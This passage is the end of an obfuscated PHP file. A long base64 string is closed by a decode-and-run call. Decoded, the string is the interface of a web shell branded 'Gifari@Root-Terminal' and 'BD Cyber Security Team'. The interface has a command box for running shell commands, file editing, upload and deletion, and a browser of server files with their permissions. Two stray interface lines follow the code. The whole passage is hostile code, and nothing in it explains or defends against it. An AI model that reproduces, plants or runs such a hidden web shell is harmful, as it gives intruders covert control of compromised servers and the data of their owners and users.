ICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJlZGl0X2ZpbGUiIHZhbHVlPSI8Pz0gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHBsYWNlaG9sZGVyPSJGaWxlIGNvbnRlbnQuLi4iPjw/PSAkZWRpdENvbnRlbnQgPz48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSIgc3R5bGU9Im1hcmdpbi10b3A6IDE1cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuLXN1Y2Nlc3MiIHN0eWxlPSJwYWRkaW5nOiAxMHB4IDIwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5K+IFNhdmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBzdHlsZT0icGFkZGluZzogMTBweCAyMHB4OyBiYWNrZ3JvdW5kOiAjNjY2OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKdjCBDYW5jZWwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdHMiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/PSBjb3VudCgkZm9sZGVycykgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+Rm9sZGVyczwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/PSBjb3VudCgkZmlsZXMpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPkZpbGVzPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC12YWx1ZSI+PD89IGZvcm1hdEJ5dGVzKGFycmF5X3N1bShhcnJheV9jb2x1bW4oJGZpbGVzLCAnc2l6ZScpKSkgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdC1sYWJlbCI+VG90YWwgU2l6ZTwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbiI+CiAgICAgICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJzZWN0aW9uLXRpdGxlIj5HaWZhcmlAUm9vdC1UZXJtaW5hbCA8L2gyPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWJveCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmcgc3R5bGU9ImNvbG9yOiAjZmZmOyBmb250LXNpemU6IDEycHg7Ij5HaWZhcmlAcm9vdDo8Pz0gaHRtbHNwZWNpYWxjaGFycygkdGVybWluYWxfY3dkKSA/PiQ8L3N0cm9uZz4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCR0ZXJtaW5hbF9vdXRwdXQpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1vdXRwdXQiPjw/PSBodG1sc3BlY2lhbGNoYXJzKCR0ZXJtaW5hbF9vdXRwdXQpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dC1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRlcm1pbmFsLXRleHQiIHBsYWNlaG9sZGVyPSJFbnRlciBjb21tYW5kLi4uIiBhdXRvY29tcGxldGU9Im9mZiIgYXV0b2ZvY3VzIHN0eWxlPSJiYWNrZ3JvdW5kOiAjMmEyYTJhOyBib3JkZXItY29sb3I6ICM0NDQ7IGNvbG9yOiAjZTBlMGUwOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0idGVybWluYWwiIHZhbHVlPSIxIiBzdHlsZT0ibWluLXdpZHRoOiA3MHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4pa2IEV4ZWN1dGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLXRpdGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+4pqhPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5RdWljayBBY3Rpb25zPC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InF1aWNrLWFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJmb3JtLWlubGluZSIgc3R5bGU9ImZsZXg6IDE7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmb2xkZXIiIHBsYWNlaG9sZGVyPSJOZXcgZm9sZGVyIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5OBIENyZWF0ZSBGb2xkZXIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJmb3JtLWlubGluZSIgc3R5bGU9ImZsZXg6IDE7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlIiBwbGFjZWhvbGRlcj0iTmV3IGZpbGUiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfk4QgQ3JlYXRlIEZpbGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEZpeGVkIHVwbG9hZCBmb3JtIC0tPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGNsYXNzPSJmb3JtLWlubGluZSIgc3R5bGU9ImZsZXg6IDI7IG1pbi13aWR0aDogMzAwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlc1tdIiBtdWx0aXBsZSByZXF1aXJlZCBzdHlsZT0icGFkZGluZzogNnB4OyBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iMSIgc3R5bGU9ImJhY2tncm91bmQ6ICMzMjM3M2M7IGJvcmRlci1jb2xvcjogIzMyMzczYzsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKshu+4jyBVcGxvYWQgRmlsZXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLXRpdGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+8J+TgTwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4+RmlsZSBCcm93c2VyIC0gPD89IGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfZGlyKSA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWJyb3dzZXItY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoZWFkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+U2l6ZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uczwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5Nb2RpZmllZDwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb25zPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGN1cnJlbnRfZGlyICE9PSAkUk9PVCk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJmb2xkZXItcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoZGlybmFtZSgkY3VycmVudF9kaXIpKSkgPz4iIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZpbGUtaWNvbiI+8J+Tgjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGZvbGRlcik6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJmb2xkZXItcm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGZvbGRlclsncGF0aCddKSkgPz4iIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZpbGUtaWNvbiI+8J+TgTwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4tPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSAkZm9sZGVyWydwZXJtcyddID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBkYXRlKCdZLW0tZCBIOmknLCAkZm9sZGVyWydtb2RpZmllZCddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGZvbGRlciA8Pz0gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pID8+PycpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRlbGV0ZSIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXJbJ25hbWUnXSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1kYW5nZXIiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyI+RGVsZXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJmaWxlLXJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij92aWV3PTw/PSB1cmxlbmNvZGUoJGZpbGVbJ25hbWUnXSkgPz4mZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSA/PiIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZpbGUtaWNvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKCRmaWxlWydleHRlbnNpb24nXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBbJ2pwZycsICdqcGVnJywgJ3BuZycsICdnaWYnLCAnYm1wJ10pKSBlY2hvICfwn5a877iPJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpbl9hcnJheSgkZXh0LCBbJ3BocCcsICdodG1sJywgJ2h0bScsICdqcycsICdjc3MnXSkpIGVjaG8gJ/Cfk50nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRleHQsIFsnemlwJywgJ3JhcicsICd0YXInLCAnZ3onXSkpIGVjaG8gJ/Cfl5zvuI8nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRleHQsIFsnbXAzJywgJ3dhdicsICdvZ2cnXSkpIGVjaG8gJ/CfjrUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRleHQsIFsnbXA0JywgJ2F2aScsICdtb3YnXSkpIGVjaG8gJ/CfjqwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGluX2FycmF5KCRleHQsIFsncGRmJ10pKSBlY2hvICfwn5OVJzsKIGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgWydkb2MnLCAnZG9jeCddKSkgZWNobyAn8J+TmCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgWyd4bHMnLCAneGxzeCddKSkgZWNobyAn8J+Tlyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgZWNobyAn8J+ThCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gZm9ybWF0Qnl0ZXMoJGZpbGVbJ3NpemUnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89ICRmaWxlWydwZXJtcyddID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBkYXRlKCdZLW0tZCBIOmknLCAkZmlsZVsnbW9kaWZpZWQnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZWRpdD08Pz0gdXJsZW5jb2RlKCRmaWxlWyduYW1lJ10pID8+JmRpcj08Pz0gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyI+RWRpdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmU7IiBvbnN1Ym1pdD0icmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBmaWxlIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pID8+PycpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRlbGV0ZSIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyduYW1lJ10pID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZGFuZ2VyIiBzdHlsZT0icGFkZGluZzogNHB4IDhweDsiPkRlbGV0ZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlciI+CiAgICAgICAgICAgR2lmYXJpIC0gR2lmYXJpIEluZHVzdHJpZXMgJmNvcHk7IDIwMjQgfCBCRCBDeWJlciBTZWN1cml0eSBUZWFtCiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cg==")); ?>
💾 Save
❌ Cancel